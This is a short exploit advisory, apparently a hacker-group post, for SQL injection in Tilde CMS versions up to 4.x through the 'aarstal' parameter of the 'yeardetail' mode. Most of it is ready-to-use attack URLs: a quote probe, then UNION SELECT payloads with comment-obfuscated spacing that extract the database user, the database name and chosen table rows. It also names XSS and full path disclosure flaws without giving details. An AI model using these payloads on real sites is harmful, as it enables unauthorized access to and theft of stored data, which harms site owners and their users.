Http://www.inj3ct-it.org Staff[at]inj3ct-it[dot]org
Tilde CMS <= v. 4.x "aarstal" parameter of "yeardetail" SQL Injection
#By KiNgOfThEwOrLd
PoC
SQL Injection
http://[target]/[tilde_path]/index.php?id=[yeardetail_id]&mode=yeardetail&aarstal=%27
Little examples
Using user() and database() functions u can get some informations about the databaseβ¦as:
http://[target]/[tilde_path]/index.php?id=[yeardetail_id]&mode=yeardetail&aarstal=999//union//select/**/1,2,user(),database(),5/*
Or u can get some recordes by the database like:
http://[target]/[tilde_path]/index.php?id=[yeardetail_id]&mode=yeardetail&aarstal=999//union//select//1,2,[row_name],4,[row_name]//from/**/[table_name]/*
something elseβ¦
Xss Vulnerability
Full Path Disclosure